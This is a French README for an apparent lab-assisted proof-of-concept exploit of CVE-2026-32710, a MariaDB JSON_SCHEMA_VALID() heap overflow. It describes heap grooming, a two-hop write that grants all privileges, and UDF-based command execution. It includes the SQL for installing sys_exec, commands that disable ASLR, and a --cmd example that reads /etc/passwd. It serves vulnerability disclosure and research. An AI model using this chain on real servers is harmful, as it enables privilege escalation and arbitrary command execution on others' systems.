CVE-2026-32710

Dépassement de tampon sur le tas dans JSON_SCHEMA_VALID() de MariaDB → élévation de privilèges persistante → exécution de code via UDF

Assisté par laboratoire. Le script utilise Docker / l'introspection root pour lire /proc/1/mem et découvrir la disposition du tas par connexion. La chaîne d'exploitation réelle est du SQL pur sur TCP. Un exploit armé nécessiterait une primitive de fuite d'informations pour remplacer l'étape d'introspection mémoire.

Avant

lowpriv ne peut que faire des SELECT sur la base test. Les tables système sont refusées.

Exploit

Un seul script Python effectue le grooming du tas, une écriture arbitraire en deux sauts via les métadonnées de variables utilisateur, persiste l'élévation via GRANT ALL, et atteint l'exécution de code via une UDF :

python3 exploit.py

Après

lowpriv dispose désormais de ALL PRIVILEGES WITH GRANT OPTION, peut lire les tables système, lire/écrire des fichiers arbitraires et exécuter des commandes OS en tant qu'utilisateur mysql. Le privilège survit au redémarrage du serveur.

Étapes

Étape 1 : Élévation de privilèges

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192-byte  │     │ Write to @c  │    │ Write to @a  │
   │ overflow   │     │ through the  │    │ through the  │
   │ corrupts   │     │ corrupted    │    │ redirected   │
   │ entry_c's  │     │ pointer:     │    │ pointer:     │
   │ value ptr  │     │              │    │              │
   │ (2-byte    │     │ entry_a →    │    │ master_access│
   │  partial   │     │   .value =   │    │   = 0xFFFF.. │
   │  overwrite)│     │   &master_   │    │ (ALL PRIVS)  │
   │            │     │   access     │    │              │
   └───────────┘     │   .length= 9 │    └──────────────┘
                      └──────────────┘

1. Grooming du tas — plus de 100 variables utilisateur épuisent la tcache, forçant Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c à être allouées consécutivement.

2. Dépassement — JSON_SCHEMA_VALID déclenche un strncpy de 192 octets au-delà du tampon de 128 octets, corrompant entry_c→value (écrasement partiel de pointeur de 2 octets dans la même page de 64 Ko) pour pointer vers entry_a + 32.

3. Saut 1 — L'affectation à @c écrit 126 octets via le pointeur corrompu dans les métadonnées de entry_a, définissant :

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. Saut 2 — L'affectation à @a écrit 8 octets de 0xFF via le pointeur redirigé → .

Étape 2 : Exécution de code via UDF

Après la persistance, le serveur est redémarré (récupération après crash), et les privilèges élevés sont utilisés pour installer une bibliothèque partagée UDF :

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

Contraintes clés résolues

Configuration du laboratoire

# 1. Construire et démarrer le conteneur
./setup.sh

# 2. Désactiver l'ASLR sur l'hôte Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. Exécuter l'exploit (auto-calibrage à chaque tentative)
python3 exploit.py

# 4. Commande personnalisée
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

Prérequis

• Docker (x86_64)
• Python 3
• ASLR désactivé sur l'hôte Docker (/proc/sys/kernel/randomize_va_space = 0)
• Le conteneur s'exécute avec --cap-add SYS_PTRACE (pour l'accès à /proc/1/mem)

Options

--calibrate      Mesurer les constantes de disposition du tas et quitter
--cmd CMD        Commande pour l'exécution UDF de l'étape 2 (défaut : id > /tmp/pwned)
--stage1-only    Exécuter uniquement l'élévation de privilèges, ignorer l'exécution UDF
--attempts N     Nombre maximal de tentatives pour l'étape 1 (défaut : 5)
--host HOST      Hôte MariaDB (défaut : 127.0.0.1)
--port PORT      Port MariaDB (défaut : 3306)

Ce que fournit l'assistance du laboratoire

Le script d'exploit se connecte au conteneur en tant que root pour lire /proc/1/mem. Cela sert à deux choses :

1. Découverte de la disposition du tas — localiser les trois structures sentinelles user_var_entry et vérifier qu'elles sont adjacentes (entry_a+32 dans la même page de 64 Ko que entry_c→value pour l'écrasement partiel de 2 octets).
2. Adresse de Security_context — trouver le champ master_access à cibler avec l'écriture en deux sauts.

Le scan s'exécute en ligne pour chaque tentative car la disposition du tas varie entre les connexions (même avec ASLR=0) en raison du pool de threads de MariaDB qui attribue différentes arènes. La chaîne d'exploitation réelle — dépassement + saut 1 + saut 2 — est du SQL pur exécuté sur une connexion TCP.

Dans un scénario réel, un attaquant aurait besoin d'une vulnérabilité distincte de fuite d'informations (ou d'un canal auxiliaire) pour obtenir ces adresses.

Fichiers